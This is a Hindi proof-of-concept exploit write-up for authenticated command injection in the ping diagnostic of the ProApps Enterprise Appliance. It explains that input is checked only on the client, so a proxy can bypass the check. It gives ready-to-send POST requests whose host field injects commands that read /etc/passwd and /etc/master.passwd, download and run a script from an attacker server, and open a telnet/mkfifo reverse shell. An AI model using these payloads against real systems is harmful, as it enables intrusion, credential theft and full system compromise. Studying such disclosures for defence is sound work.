
ProApps Enterprise Appliance की ping कार्यक्षमता में कमांड इंजेक्शन के माध्यम से प्रमाणित दूरस्थ कोड निष्पादन के लिए प्रमाण-अवधारणा शोषण, रिवर्स शेल पेलोड और क्लाइंट-साइड स्वच्छता को बायपास करने के साथ।
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
रिमोट कोड निष्पादन
यह भेद्यता इसलिए उत्पन्न होती है क्योंकि कोई उपयोगकर्ता यूनिक्स वातावरण में पिंग कार्यक्षमता का उपयोग करके अनुक्रम कमांड ऑपरेटरों (जैसे ;, &&, या |) को जोड़कर एप्लिकेशन के माध्यम से सिस्टम कमांड इंजेक्ट कर सकता है। भेद्यता का शोषण करने के लिए प्रमाणित होना आवश्यक है। उपयोगकर्ता को 'Status' नामक अनुमति समूह से संबंधित होना चाहिए और उसके पास 'Modified' अनुमति होनी चाहिए। यह भी ध्यान रखना महत्वपूर्ण है कि सफल शोषण के लिए इनपुट सैनिटाइजेशन को बायपास करना आवश्यक है। एप्लिकेशन केवल फ्रंट एंड पर उपयोगकर्ता इनपुट को मान्य करता है, जिससे अनुरोध को नेटवर्क प्रॉक्सी के माध्यम से भेजना आवश्यक हो जाता है, उदाहरण के लिए। इस तरह एप्लिकेशन द्वारा लगाई गई सीमाओं को बायपास किया जा सकता है।
प्रमाणीकरण के बाद, sta_rede.diagnostico_ping नामक पृष्ठ तक पहुंचना आवश्यक होगा (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view)।
यह पृष्ठ एक मनमाने होस्ट पर ICMP अनुरोध करने का कार्य प्रदान करता है। पिंग उपयोगिता और ICMP प्रोटोकॉल (अनुरोध और उत्तर) के बारे में अधिक जानने के लिए, कृपया संदर्भ अनुभाग में उल्लिखित RFC देखें।
एप्लिकेशन host, testar_pacote और ttl मापदंडों के साथ एक POST अनुरोध भेजता है, जहाँ host पिंग का लक्ष्य है, testar_pacote भेजने के लिए ICMP अनुरोधों की संख्या निर्दिष्ट करता है, और TTL पैकेट के लिए टाइम टू लिव (TTL) है। अनुरोध भेजने पर एप्लिकेशन यूनिक्स सिस्टम पर निम्नलिखित कमांड निष्पादित करता है: ping -c $testar_pacote $host। नीचे कार्यक्षमता प्रदर्शित करने वाला POST अनुरोध दिया गया है:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
यहीं पर एक हमला वेक्टर देखा जाता है। एक उपयोगकर्ता नेटवर्क प्रॉक्सी के माध्यम से एक दुर्भावनापूर्ण POST अनुरोध भेजकर भेद्यता का शोषण कर सकता है ताकि host पैरामीटर में अनुक्रम कमांड ऑपरेटरों (;, &&, या |) में से एक को जोड़कर इनपुट सैनिटाइजेशन को बायपास किया जा सके; वेब एप्लिकेशन ऊपर बताए गए पिंग कमांड को निष्पादित करेगा, उसके बाद एक अतिरिक्त कमांड निष्पादित करेगा। उदाहरण के लिए, इसमें /etc/passwd, /etc/master.passwd जैसी संवेदनशील फ़ाइलों को पढ़ना या रिवर्स शेल प्राप्त करना या मनमाने कमांड निष्पादित करना शामिल हो सकता है।
नीचे दिया गया POST अनुरोध एक निर्मित और दुर्भावनापूर्ण उदाहरण है:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
sta_rede.diagnostico_ping के लिए HTTP POST अनुरोध:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
Netcat के साथ निर्दिष्ट पोर्ट पर सुनकर, एक रिवर्स शेल सफलतापूर्वक खोला जाता है।
RCE (रिमोट कोड निष्पादन) भेद्यताएं एक हमलावर को दूरस्थ उपकरण पर मनमाना कोड निष्पादित करने की अनुमति देती हैं, जिससे पूर्ण सिस्टम से समझौता, डेटा उल्लंघन, पार्श्व गति, मैलवेयर तैनाती और प्रतिष्ठा एवं वित्तीय क्षति हो सकती है।